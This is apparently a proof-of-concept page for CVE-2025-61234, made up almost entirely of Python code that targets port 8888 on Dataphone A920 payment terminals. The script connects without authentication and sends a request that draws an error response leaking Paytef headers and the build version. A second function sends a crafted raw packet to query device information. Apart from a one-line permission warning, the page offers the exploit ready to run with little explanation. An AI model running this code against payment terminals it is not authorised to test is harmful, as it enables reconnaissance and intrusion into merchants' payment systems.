CVE-2025-61234: Dataphone A920 设备8888端口未授权访问漏洞

import socket import time def check_cve_2025_61234(target_ip, target_port=8888): """ CVE-2025-61234 PoC - Dataphone A920 Unauthenticated Access This PoC demonstrates the incorrect access control vulnerability in Dataphone A920 devices that exposes port 8888 without authentication. WARNING: Only use on systems you have permission to test. """ try: # Step 1: Establish TCP connection to port 8888 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Step 2: Send malformed HTTP request to trigger error response # The error response exposes Paytef dataphone packet headers, # build version, and internal functionality http_request = b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b":8888\r\n\r\n" sock.send(http_request) # Step 3: Receive and analyze the error response response = sock.recv(4096) print(f"[+] Response received from {target_ip}:{target_port}") print(f"[+] Response length: {len(response)} bytes") # Step 4: Parse for sensitive information if b"Paytef" in response or b"dataphone" in response: print("[!] VULNERABLE: Paytef dataphone headers exposed") if b"2025.07.161103" in response: print("[!] VULNERABLE: Build version exposed") print("\n--- Response Content ---") print(response.decode('utf-8', errors='ignore')) sock.close() return True except socket.timeout: print("[-] Connection timeout - port may not be 8888 or host unreachable") return False except socket.error as e: print(f"[-] Socket error: {e}") return False def exploit_device_info(target_ip, target_port=8888): """ Extended exploitation - Query device for version information """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send raw Paytef dataphone packet to query version # Packet format based on exposed headers query_packet = b"PAYT\x00\x01\x00\x00\x00\x0A\x00\x00\x00\x03\x00\x00\x00\x00\x00" sock.send(query_packet) time.sleep(1) response = sock.recv(2048) print("[+] Device response received") print(response.hex()) sock.close() except Exception as e: print(f"[-] Exploitation failed: {e}") if __name__ == "__main__": target = input("Enter target IP: ").strip() check_cve_2025_61234(target)